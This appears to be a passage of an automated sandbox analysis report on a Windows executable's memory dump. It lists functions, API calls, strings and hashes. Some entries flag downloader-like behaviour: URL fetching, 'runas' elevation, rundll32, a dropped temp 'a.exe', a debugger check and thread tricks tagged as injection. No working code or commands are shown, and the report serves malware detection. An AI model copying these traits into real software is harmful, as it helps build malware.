API String ID: 2155170405-0
Opcode ID: e68d49e5c85383565d2904e3ffeb7c36dfd800016481e3c251d15d0279c49d30
Instruction ID: 898e60736a60a9795f4d1a70ea452fc7318d7398ea005b47022aaf1f1a4affba
Opcode Fuzzy Hash: e68d49e5c85383565d2904e3ffeb7c36dfd800016481e3c251d15d0279c49d30
Instruction Fuzzy Hash: A7512B72D002169BDB22FF69CC849EE7BFCBF49310B1405AAE9D1D7188E77999408B50

Uniqueness

Uniqueness Score: -1.00%

Function 01014AA3, Relevance: 4.6, APIs: 3, Instructions: 77COMMON

Download Yara Rule

APIs

IsDebuggerPresent.KERNEL32(?,?,?,?,?,00000000), ref: 01014B9B
SetUnhandledExceptionFilter.KERNEL32(00000000,?,?,?,?,?,00000000), ref: 01014BA5
UnhandledExceptionFilter.KERNEL32(?,?,?,?,?,?,00000000), ref: 01014BB2

Memory Dump Source

Source File: 00000003.00000002.662066092.0000000001001000.00000020.00020000.sdmp, Offset: 01000000, based on PE: true

Associated: 00000003.00000002.662020284.0000000001000000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.662207715.0000000001027000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.662239596.0000000001030000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.662252157.0000000001035000.00000002.00020000.sdmp Download File

Similarity

API ID: ExceptionFilterUnhandled$DebuggerPresent
String ID:
API String ID: 3906539128-0
Opcode ID: 31b5920ef16923dfb64e6ea3e2e23d4e4fc3b7ed982a40cb324e4baa4c66b3e5
Instruction ID: bd0df1ce85ad832dd0673f950631517ab72753a21657c048fa32980a237a4997
Opcode Fuzzy Hash: 31b5920ef16923dfb64e6ea3e2e23d4e4fc3b7ed982a40cb324e4baa4c66b3e5
Instruction Fuzzy Hash: 6631C57490122D9BCB61DF28D9887CDBBB8BF18310F6041DAE44CA7294E7749B858F44

Uniqueness

Uniqueness Score: -1.00%

Function 0101B0C2, Relevance: 1.6, APIs: 1, Instructions: 140COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.662066092.0000000001001000.00000020.00020000.sdmp, Offset: 01000000, based on PE: true

Associated: 00000003.00000002.662020284.0000000001000000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.662207715.0000000001027000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.662239596.0000000001030000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.662252157.0000000001035000.00000002.00020000.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c0ac8d2f34032f4b85cf047587933d899a5a25b60f6023b615102090ab362c3d
Instruction ID: be288d82a45c11002c9ffe18995e70532e98efdf9016bfd46094eddb03b33ba8
Opcode Fuzzy Hash: c0ac8d2f34032f4b85cf047587933d899a5a25b60f6023b615102090ab362c3d
Instruction Fuzzy Hash: 8141A2B180421DAFDB61DF69CC88AEABBB9EF45300F1442D9E49DD3214DB399E848F50

Uniqueness

Uniqueness Score: -1.00%

Function 01015F52, Relevance: .0, Instructions: 22COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.662066092.0000000001001000.00000020.00020000.sdmp, Offset: 01000000, based on PE: true

Associated: 00000003.00000002.662020284.0000000001000000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.662207715.0000000001027000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.662239596.0000000001030000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.662252157.0000000001035000.00000002.00020000.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 22c8ee549e0e701cc67c10f8b31497336b99bd38d043062465dd4583a8c5f113
Instruction ID: d2b23d4ed7399cff2ec37f3693be31a637520f248734b650c72817f1145a81c4
Opcode Fuzzy Hash: 22c8ee549e0e701cc67c10f8b31497336b99bd38d043062465dd4583a8c5f113
Instruction Fuzzy Hash: 41E08C32911228EBCB24DBDCC904D8AF7FCEB8AB40B11009AF601D3110C274DE00C7D0

Uniqueness

Uniqueness Score: -1.00%

Function 0101CB2C, Relevance: 19.6, APIs: 13, Instructions: 113COMMON

Download Yara Rule

APIs

___free_lconv_mon.LIBCMT ref: 0101CB70

Part of subcall function 0101C709: _free.LIBCMT ref: 0101C726
Part of subcall function 0101C709: _free.LIBCMT ref: 0101C738
Part of subcall function 0101C709: _free.LIBCMT ref: 0101C74A
Part of subcall function 0101C709: _free.LIBCMT ref: 0101C75C
Part of subcall function 0101C709: _free.LIBCMT ref: 0101C76E
Part of subcall function 0101C709: _free.LIBCMT ref: 0101C780
Part of subcall function 0101C709: _free.LIBCMT ref: 0101C792
Part of subcall function 0101C709: _free.LIBCMT ref: 0101C7A4
Part of subcall function 0101C709: _free.LIBCMT ref: 0101C7B6
Part of subcall function 0101C709: _free.LIBCMT ref: 0101C7C8
Part of subcall function 0101C709: _free.LIBCMT ref: 0101C7DA
Part of subcall function 0101C709: _free.LIBCMT ref: 0101C7EC
Part of subcall function 0101C709: _free.LIBCMT ref: 0101C7FE

_free.LIBCMT ref: 0101CB65

Part of subcall function 01016601: HeapFree.KERNEL32(00000000,00000000,?,010156FE), ref: 01016617
Part of subcall function 01016601: GetLastError.KERNEL32(?,?,010156FE), ref: 01016629

_free.LIBCMT ref: 0101CB87
_free.LIBCMT ref: 0101CB9C
_free.LIBCMT ref: 0101CBA7
_free.LIBCMT ref: 0101CBC9
_free.LIBCMT ref: 0101CBDC
_free.LIBCMT ref: 0101CBEA
_free.LIBCMT ref: 0101CBF5
_free.LIBCMT ref: 0101CC2D
_free.LIBCMT ref: 0101CC34
_free.LIBCMT ref: 0101CC51
_free.LIBCMT ref: 0101CC69

Memory Dump Source

Source File: 00000003.00000002.662066092.0000000001001000.00000020.00020000.sdmp, Offset: 01000000, based on PE: true

Associated: 00000003.00000002.662020284.0000000001000000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.662207715.0000000001027000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.662239596.0000000001030000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.662252157.0000000001035000.00000002.00020000.sdmp Download File

Similarity

API ID: _free$ErrorFreeHeapLast___free_lconv_mon
String ID:
API String ID: 161543041-0
Opcode ID: 54417d586650fe36e4cf7de4811f864468859970f1328d1f3f3428102a54c514
Instruction ID: c0cae5b3522983e2f2126a4928aae050526de767ca190d2c050460683f25a216
Opcode Fuzzy Hash: 54417d586650fe36e4cf7de4811f864468859970f1328d1f3f3428102a54c514
Instruction Fuzzy Hash: E831AC71644306DFFB61AA78DE84B96B7E8FF04210F104869E0D8D7198DF7AE890DB20

Uniqueness

Uniqueness Score: -1.00%

Function 01002430, Relevance: 17.6, APIs: 7, Strings: 3, Instructions: 136networkfileCOMMON

Download Yara Rule

APIs

InternetOpenW.WININET(Microsoft Internet Explorer,00000000,00000000,00000000,00000000), ref: 010024D1
InternetOpenUrlW.WININET(00000000,?,00000000,00000000,00000000,00000000), ref: 010024E3
InternetReadFile.WININET(00000000,?,00032000,00032000), ref: 010024FA
InternetCloseHandle.WININET(00000000), ref: 0100250B
InternetCloseHandle.WININET(00000000), ref: 0100250E
InternetCloseHandle.WININET(00000000), ref: 0100251F
InternetCloseHandle.WININET(00000000), ref: 01002522

Strings

<, xrefs: 010026AC
runas, xrefs: 010026C5
Microsoft Internet Explorer, xrefs: 010024CC

Memory Dump Source

Source File: 00000003.00000002.662066092.0000000001001000.00000020.00020000.sdmp, Offset: 01000000, based on PE: true

Associated: 00000003.00000002.662020284.0000000001000000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.662207715.0000000001027000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.662239596.0000000001030000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.662252157.0000000001035000.00000002.00020000.sdmp Download File

Similarity

API ID: Internet$CloseHandle$Open$FileRead
String ID: <$Microsoft Internet Explorer$runas
API String ID: 4294395943-436926838
Opcode ID: f951adf9b1a0d15927ee01f4cf207dddc471a00f15d3bd1a6810da36785726cb
Instruction ID: c7057522bf85580970103141551976f297ac5123dd4ca41cccb283a488682b0b
Opcode Fuzzy Hash: f951adf9b1a0d15927ee01f4cf207dddc471a00f15d3bd1a6810da36785726cb
Instruction Fuzzy Hash: 6D413A31E00219ABEB1ACF64CC84BEEBBB9EF55301F108159E555A72D1D739E640CF94

Uniqueness

Uniqueness Score: -1.00%

Function 01005F80, Relevance: 16.2, APIs: 8, Strings: 1, Instructions: 401COMMON

Download Yara Rule

Strings

(, xrefs: 01006604

Memory Dump Source

Source File: 00000003.00000002.662066092.0000000001001000.00000020.00020000.sdmp, Offset: 01000000, based on PE: true

Associated: 00000003.00000002.662020284.0000000001000000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.662207715.0000000001027000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.662239596.0000000001030000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.662252157.0000000001035000.00000002.00020000.sdmp Download File

Similarity

API ID:
String ID: (
API String ID: 0-3887548279
Opcode ID: 445ffcb0ce8e9e1e902278b7f833e0d31da0942fe2e1a516c1d70d38e148ca08
Instruction ID: 3d2cf121cfdc8e7626d0552b94edcbd9a8f0b14d8bf616beadeceed42f38457a
Opcode Fuzzy Hash: 445ffcb0ce8e9e1e902278b7f833e0d31da0942fe2e1a516c1d70d38e148ca08
Instruction Fuzzy Hash: F2F1F470A002099FFF25EFA8CC84BDEBBB2AF55304F504198E5496B2C6D7765A84CF91

Uniqueness

Uniqueness Score: -1.00%

Function 01016DDA, Relevance: 15.1, APIs: 10, Instructions: 69COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 01016DF0

Part of subcall function 01016601: HeapFree.KERNEL32(00000000,00000000,?,010156FE), ref: 01016617
Part of subcall function 01016601: GetLastError.KERNEL32(?,?,010156FE), ref: 01016629

_free.LIBCMT ref: 01016DFC
_free.LIBCMT ref: 01016E07
_free.LIBCMT ref: 01016E12
_free.LIBCMT ref: 01016E1D
_free.LIBCMT ref: 01016E28
_free.LIBCMT ref: 01016E33
_free.LIBCMT ref: 01016E3E
_free.LIBCMT ref: 01016E49
_free.LIBCMT ref: 01016E57

Memory Dump Source

Source File: 00000003.00000002.662066092.0000000001001000.00000020.00020000.sdmp, Offset: 01000000, based on PE: true

Associated: 00000003.00000002.662020284.0000000001000000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.662207715.0000000001027000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.662239596.0000000001030000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.662252157.0000000001035000.00000002.00020000.sdmp Download File

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: 0ad9ade5047e7312b4d4f4e2060c8d0c99f722058f47a546c1ce62e0b094d44b
Instruction ID: 2124e8d362ac428037bf679e64a03351ba4ae67af93a5739114950707464f24a
Opcode Fuzzy Hash: 0ad9ade5047e7312b4d4f4e2060c8d0c99f722058f47a546c1ce62e0b094d44b
Instruction Fuzzy Hash: EE21A576900109EFCB41EF94CC80DDEBBB9EF18341B0045A6FA559B124DB76EA54CB80

Uniqueness

Uniqueness Score: -1.00%

Function 01010A40, Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 168COMMON

Download Yara Rule

APIs

_ValidateLocalCookies.LIBCMT ref: 01010A77
___except_validate_context_record.LIBVCRUNTIME ref: 01010A7F
_ValidateLocalCookies.LIBCMT ref: 01010B08
__IsNonwritableInCurrentImage.LIBCMT ref: 01010B33
_ValidateLocalCookies.LIBCMT ref: 01010B88

Strings

csm, xrefs: 01010B1D
csm, xrefs: 01010BB1

Memory Dump Source

Source File: 00000003.00000002.662066092.0000000001001000.00000020.00020000.sdmp, Offset: 01000000, based on PE: true

Associated: 00000003.00000002.662020284.0000000001000000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.662207715.0000000001027000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.662239596.0000000001030000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.662252157.0000000001035000.00000002.00020000.sdmp Download File

Similarity

API ID: CookiesLocalValidate$CurrentImageNonwritable___except_validate_context_record
String ID: csm$csm
API String ID: 1170836740-3733052814
Opcode ID: a9d26c106209ee588011920cb53b1a9437bae5d089a2b13635d5756a1dabb4fc
Instruction ID: 85af26bc01054cefe7b2e5af3287e6641d0c7d6f4b8af5acf54305b5f00a6f6a
Opcode Fuzzy Hash: a9d26c106209ee588011920cb53b1a9437bae5d089a2b13635d5756a1dabb4fc
Instruction Fuzzy Hash: 5751B134A00209DFCF24DF68C890A9EBBE5BF44314F1481A9F9C55B29DD779DA86CB90

Uniqueness

Uniqueness Score: -1.00%

Function 0101BF44, Relevance: 12.2, APIs: 8, Instructions: 203COMMON

Download Yara Rule

APIs

___from_strstr_to_strchr.LIBCMT ref: 0101BF6E
_free.LIBCMT ref: 0101C047
_free.LIBCMT ref: 0101C074

Memory Dump Source

Source File: 00000003.00000002.662066092.0000000001001000.00000020.00020000.sdmp, Offset: 01000000, based on PE: true

Associated: 00000003.00000002.662020284.0000000001000000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.662207715.0000000001027000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.662239596.0000000001030000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.662252157.0000000001035000.00000002.00020000.sdmp Download File

Similarity

API ID: _free$___from_strstr_to_strchr
String ID:
API String ID: 3409252457-0
Opcode ID: 10b5b32bb25a81e0fd86a7722e0eb9c3f47cf8f7be393dd673f58d8a41130c6c
Instruction ID: 38ad7ed9c74338ee4e488cd4705ebad8e39d0f9e33699e56c120b8328fc21223
Opcode Fuzzy Hash: 10b5b32bb25a81e0fd86a7722e0eb9c3f47cf8f7be393dd673f58d8a41130c6c
Instruction Fuzzy Hash: B0510671984242AFFB21AFB889409FE7BE8AF06710F0445A9E6D497189EB7ED100CB54

Uniqueness

Uniqueness Score: -1.00%

Function 01006C14, Relevance: 10.7, APIs: 7, Instructions: 247networkfileCOMMON

Download Yara Rule

APIs

HttpOpenRequestA.WININET(00000000,00000000,?,00000000,00000000,00000000,00000000,00000001), ref: 01006C23
HttpSendRequestA.WININET(00000000,00000000,?), ref: 01006CCC
InternetReadFile.WININET(00000000,?,000003FF,?), ref: 01006D5D
InternetReadFile.WININET(00000000,00000000,000003FF,?), ref: 01006DE4
InternetCloseHandle.WININET(00000000), ref: 01006DF5
InternetCloseHandle.WININET(?), ref: 01006DFA
InternetCloseHandle.WININET(?), ref: 01006DFF

Memory Dump Source

Source File: 00000003.00000002.662066092.0000000001001000.00000020.00020000.sdmp, Offset: 01000000, based on PE: true

Associated: 00000003.00000002.662020284.0000000001000000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.662207715.0000000001027000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.662239596.0000000001030000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.662252157.0000000001035000.00000002.00020000.sdmp Download File

Similarity

API ID: Internet$CloseHandle$FileHttpReadRequest$OpenSend
String ID:
API String ID: 856522067-0
Opcode ID: 5ebb46b92edbce9d2df25c814aada14592c9a7cd2e66ff91d38dc5cbc1094237
Instruction ID: 1ed3080f8428443740ccd624b906b934ad456debf16869ec77d68be89a9a1e56
Opcode Fuzzy Hash: 5ebb46b92edbce9d2df25c814aada14592c9a7cd2e66ff91d38dc5cbc1094237
Instruction Fuzzy Hash: 6181F471A00109ABFB1ADF28CC84BEEBB66EF82310F244158F954D72D5D7369E908B51

Uniqueness

Uniqueness Score: -1.00%

Function 010171AC, Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 77COMMON

Download Yara Rule

Strings

api-ms-, xrefs: 01017203
ext-ms-, xrefs: 01017217

Memory Dump Source

Source File: 00000003.00000002.662066092.0000000001001000.00000020.00020000.sdmp, Offset: 01000000, based on PE: true

Associated: 00000003.00000002.662020284.0000000001000000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.662207715.0000000001027000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.662239596.0000000001030000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.662252157.0000000001035000.00000002.00020000.sdmp Download File

Similarity

API ID:
String ID: api-ms-$ext-ms-
API String ID: 0-537541572
Opcode ID: 3a266ce320bad94088339ed4b14aff94a49a8223f170ca2003dc852d129c03fd
Instruction ID: 203339cd641764979637502d43cbe7ce67668f2577c0a793265c748aad02b9a1
Opcode Fuzzy Hash: 3a266ce320bad94088339ed4b14aff94a49a8223f170ca2003dc852d129c03fd
Instruction Fuzzy Hash: 27210D31E01221E7DB324E6C9C84EDE37D8AF557A0F210151FED6AB289D67CDD0286E0

Uniqueness

Uniqueness Score: -1.00%

Function 0101C8A8, Relevance: 10.6, APIs: 7, Instructions: 65COMMON

Download Yara Rule

APIs

Part of subcall function 0101C870: _free.LIBCMT ref: 0101C895

_free.LIBCMT ref: 0101C8F6

Part of subcall function 01016601: HeapFree.KERNEL32(00000000,00000000,?,010156FE), ref: 01016617
Part of subcall function 01016601: GetLastError.KERNEL32(?,?,010156FE), ref: 01016629

_free.LIBCMT ref: 0101C901
_free.LIBCMT ref: 0101C90C
_free.LIBCMT ref: 0101C960
_free.LIBCMT ref: 0101C96B
_free.LIBCMT ref: 0101C976
_free.LIBCMT ref: 0101C981

Memory Dump Source

Source File: 00000003.00000002.662066092.0000000001001000.00000020.00020000.sdmp, Offset: 01000000, based on PE: true

Associated: 00000003.00000002.662020284.0000000001000000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.662207715.0000000001027000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.662239596.0000000001030000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.662252157.0000000001035000.00000002.00020000.sdmp Download File

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: 17f53bcb001aa0cf27f4b28cdacd85efe4fe4569033449001c41b86b803b0e8a
Instruction ID: b375fca317bc4804914575c0d9a4adccf8cae23a510f6bbadfd22d31f6979859
Opcode Fuzzy Hash: 17f53bcb001aa0cf27f4b28cdacd85efe4fe4569033449001c41b86b803b0e8a
Instruction Fuzzy Hash: DC118E71590B05FAFA20BBB0CD85FCBB79DAF16710F400C24B6D9A6054EB7EF51586A0

Uniqueness

Uniqueness Score: -1.00%

Function 010046E0, Relevance: 9.5, APIs: 6, Instructions: 479COMMON

Download Yara Rule

APIs

GetTempPathW.KERNEL32(00000104,?,?,?), ref: 0100470E

Memory Dump Source

Source File: 00000003.00000002.662066092.0000000001001000.00000020.00020000.sdmp, Offset: 01000000, based on PE: true

Associated: 00000003.00000002.662020284.0000000001000000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.662207715.0000000001027000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.662239596.0000000001030000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.662252157.0000000001035000.00000002.00020000.sdmp Download File

Similarity

API ID: PathTemp
String ID:
API String ID: 2920410445-0
Opcode ID: cebba7d2a33ab068a61bcd3321b113b9c697c069e6bd7de8914b6f58380e8bf8
Instruction ID: 43bbc97d6000e80c98b9723e1614c20464b88dfa0484bb05d25449e79f411917
Opcode Fuzzy Hash: cebba7d2a33ab068a61bcd3321b113b9c697c069e6bd7de8914b6f58380e8bf8
Instruction Fuzzy Hash: 51F1F330E0020AAFEF15EFA8DC84BEEBBB5EF44304F104199E555A72C4D7796A45CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 01018457, Relevance: 9.3, APIs: 6, Instructions: 318fileCOMMON

Download Yara Rule

APIs

GetConsoleCP.KERNEL32(?,01003D80,00000000), ref: 0101849F
__fassign.LIBCMT ref: 0101867E
__fassign.LIBCMT ref: 0101869B
WriteFile.KERNEL32(?,01003D80,00000000,?,00000000,?,?,?,?,?,?,?,?,?,?,00000000), ref: 010186E3
WriteFile.KERNEL32(?,?,00000001,?,00000000), ref: 01018723
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,00000000), ref: 010187CF

Memory Dump Source

Source File: 00000003.00000002.662066092.0000000001001000.00000020.00020000.sdmp, Offset: 01000000, based on PE: true

Associated: 00000003.00000002.662020284.0000000001000000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.662207715.0000000001027000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.662239596.0000000001030000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.662252157.0000000001035000.00000002.00020000.sdmp Download File

Similarity

API ID: FileWrite__fassign$ConsoleErrorLast
String ID:
API String ID: 4031098158-0
Opcode ID: b0356351bfc89e77dc379e21b1d4e8731cfad8f8751d84af90b2d6e5a7d49d0d
Instruction ID: 549d92249cb3da935f068921f6432924d50ec7d8aba8a2be1aed17c199a60a16
Opcode Fuzzy Hash: b0356351bfc89e77dc379e21b1d4e8731cfad8f8751d84af90b2d6e5a7d49d0d
Instruction Fuzzy Hash: EFD1CD75D002489FCB15CFE8C8809EDBBF5FF48310F28816AE895BB249D735AA06CB50

Uniqueness

Uniqueness Score: -1.00%

Function 01010E44, Relevance: 9.1, APIs: 6, Instructions: 60COMMON

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,01010E3B,01010CA9,010105B7), ref: 01010E52
___vcrt_FlsGetValue.LIBVCRUNTIME ref: 01010E60
___vcrt_FlsSetValue.LIBVCRUNTIME ref: 01010E79
SetLastError.KERNEL32(00000000,01010E3B,01010CA9,010105B7), ref: 01010ECB

Memory Dump Source

Source File: 00000003.00000002.662066092.0000000001001000.00000020.00020000.sdmp, Offset: 01000000, based on PE: true

Associated: 00000003.00000002.662020284.0000000001000000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.662207715.0000000001027000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.662239596.0000000001030000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.662252157.0000000001035000.00000002.00020000.sdmp Download File

Similarity

API ID: ErrorLastValue___vcrt_
String ID:
API String ID: 3852720340-0
Opcode ID: 1ec94371108fc7ada0fd24f5ce8d2c3a4d41cfd45b2e5a2a4a269b31d4900850
Instruction ID: b3c9989d55a44fbdd804b5710afbe26bd1e247420fc35383516a222a43c82ad6
Opcode Fuzzy Hash: 1ec94371108fc7ada0fd24f5ce8d2c3a4d41cfd45b2e5a2a4a269b31d4900850
Instruction Fuzzy Hash: 0B01243260A3129EE679267A6D8899B6ADCEB15774F20022AF6D0800EDEF2F08414240

Uniqueness

Uniqueness Score: -1.00%

Function 01002890, Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 127threadsleepinjectionCOMMON

Download Yara Rule

APIs

Part of subcall function 0100EF20: Concurrency::cancel_current_task.LIBCPMT ref: 0100F041

CreateThread.KERNEL32(00000000,00000000,01002820,00000000,00000000,00000000), ref: 010028F6
Sleep.KERNEL32(00001388,?,?,?,?,?,?,?,?,?,?), ref: 01002903
SuspendThread.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?), ref: 0100290A

Strings

runas, xrefs: 01002A4F
rundll32.exe, xrefs: 01002C7C

Memory Dump Source

Source File: 00000003.00000002.662066092.0000000001001000.00000020.00020000.sdmp, Offset: 01000000, based on PE: true

Associated: 00000003.00000002.662020284.0000000001000000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.662207715.0000000001027000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.662239596.0000000001030000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.662252157.0000000001035000.00000002.00020000.sdmp Download File

Similarity

API ID: Thread$Concurrency::cancel_current_taskCreateSleepSuspend
String ID: runas$rundll32.exe
API String ID: 1039963361-4081450877
Opcode ID: ae5ec296cbafa8449034475fa752194af902eb5e76c1b4fb2b1bd61e6e028b44
Instruction ID: 00d2672beb331f191731b80ff92067bc6a81f0f24741882f5c04cc05d182b093
Opcode Fuzzy Hash: ae5ec296cbafa8449034475fa752194af902eb5e76c1b4fb2b1bd61e6e028b44
Instruction Fuzzy Hash: 7641E431211249ABFB2ADF28CC88BDD3F56AF96360F548508FAD5972D5C73AD4C08B94

Uniqueness

Uniqueness Score: -1.00%

Function 0101B498, Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 83COMMON

Download Yara Rule

Strings

C:\Users\user\AppData\Local\Temp\a.exe, xrefs: 0101B49D

Memory Dump Source

Source File: 00000003.00000002.662066092.0000000001001000.00000020.00020000.sdmp, Offset: 01000000, based on PE: true

Associated: 00000003.00000002.662020284.0000000001000000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.662207715.0000000001027000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.662239596.0000000001030000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.662252157.0000000001035000.00000002.00020000.sdmp Download File

Similarity

API ID:
String ID: C:\Users\user\AppData\Local\Temp\a.exe
API String ID: 0-2503798518
Opcode ID: 5c6876cbfccb1e0d924f6927900a2a85d4834bbf3d1c3af01ecb34d114122fe8
Instruction ID: 07fa524fedd9f3ba0493d11b792b5a4f5325cf6efaca4e869e4233ab813ece8c
Opcode Fuzzy Hash: 5c6876cbfccb1e0d924f6927900a2a85d4834bbf3d1c3af01ecb34d114122fe8
Instruction Fuzzy Hash: 1A21A172600206AFDB21AFA98C80EAB77BCEF103787104554FAA5D7148EB3CED00C7A1

Uniqueness

Uniqueness Score: -1.00%

Function 01012C0B, Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 74COMMON

Download Yara Rule

APIs

_wcsrchr.LIBVCRUNTIME ref: 01012C4D

Strings

.bat, xrefs: 01012C7C
.exe, xrefs: 01012C5A
.cmd, xrefs: 01012C6B
.com, xrefs: 01012C8D

Memory Dump Source

Source File: 00000003.00000002.662066092.0000000001001000.00000020.00020000.sdmp, Offset: 01000000, based on PE: true

Associated: 00000003.00000002.662020284.0000000001000000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.662207715.0000000001027000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.662239596.0000000001030000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.662252157.0000000001035000.00000002.00020000.sdmp Download File

Similarity

API ID: _wcsrchr
String ID: .bat$.cmd$.com$.exe
API String ID: 1752292252-4019086052
Opcode ID: bcb92c0d2c4e828fcd8b1a6fc78f7bd3d21c007b92338bbffa69d748cc269a91
Instruction ID: aa9dde8ac03d24d79304cdc0a28acd7acfe835096c884ec6933f73d72bdcf1ee
Opcode Fuzzy Hash: bcb92c0d2c4e828fcd8b1a6fc78f7bd3d21c007b92338bbffa69d748cc269a91
Instruction Fuzzy Hash: 19014937A0832F253B54509EAD01A7667D98BE19B8735006FFFC4FB1C8EE8CD9421190

Uniqueness

Uniqueness Score: -1.00%

Function 01011154, Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 68COMMON

Download Yara Rule

Strings

api-ms-, xrefs: 010111A4

Memory Dump Source

Source File: 00000003.00000002.662066092.0000000001001000.00000020.00020000.sdmp, Offset: 01000000, based on PE: true

Associated: 00000003.00000002.662020284.0000000001000000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.662207715.0000000001027000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.662239596.0000000001030000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.662252157.0000000001035000.00000002.00020000.sdmp Download File

Similarity

API ID:
String ID: api-ms-
API String ID: 0-2084034818
Opcode ID: 679439a6ee2609dcef5fcd987ce3c87bef1fba978ee375f0cba82fb30dba401b
Instruction ID: 9f40ad089b4332fbc3edbbd6a779b9bd7aaec2389d0cfb513bbb4480af8ecad1
Opcode Fuzzy Hash: 679439a6ee2609dcef5fcd987ce3c87bef1fba978ee375f0cba82fb30dba401b
Instruction Fuzzy Hash: 9311B935A06225EBDB774EB89C44B5EB7989F067A0B200151EFC5A7299D638DD00C6E0

Uniqueness

Uniqueness Score: -1.00%

Function 01012203, Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 30libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32(00000000,mscoree.dll,00000000,?,?,010121F8,?,?,010121C0,?,?,?), ref: 01012218
GetProcAddress.KERNEL32(00000000,CorExitProcess), ref: 0101222B
FreeLibrary.KERNEL32(00000000,?,?,010121F8,?,?,010121C0,?,?,?), ref: 0101224E

Strings

mscoree.dll, xrefs: 01012211
CorExitProcess, xrefs: 01012223

Memory Dump Source

Source File: 00000003.00000002.662066092.0000000001001000.00000020.00020000.sdmp, Offset: 01000000, based on PE: true

Associated: 00000003.00000002.662020284.0000000001000000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.662207715.0000000001027000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.662239596.0000000001030000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.662252157.0000000001035000.00000002.00020000.sdmp Download File

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: 3204d9b38524dc671ce22002a417dd8baf0b578365108399e93a2cef02f0a9f6
Instruction ID: 62d2d5fe8465066e7841d649d54e3f20392d810a5122f2c5156a43ac51164fee
Opcode Fuzzy Hash: 3204d9b38524dc671ce22002a417dd8baf0b578365108399e93a2cef02f0a9f6
Instruction Fuzzy Hash: F7F08C30601218FBEB71AF55DD0ABDEBEA8EF50755F2000A4F980A2154CB798A04DB90

Uniqueness

Uniqueness Score: -1.00%

Function 0101E774, Relevance: 7.9, APIs: 5, Instructions: 373timeCOMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 0101E7F6
_free.LIBCMT ref: 0101E81A
_free.LIBCMT ref: 0101E9A7
GetTimeZoneInformation.KERNEL32(?,00000000,00000000,00000000,?,0102B608), ref: 0101E9B9
_free.LIBCMT ref: 0101EB73

Memory Dump Source

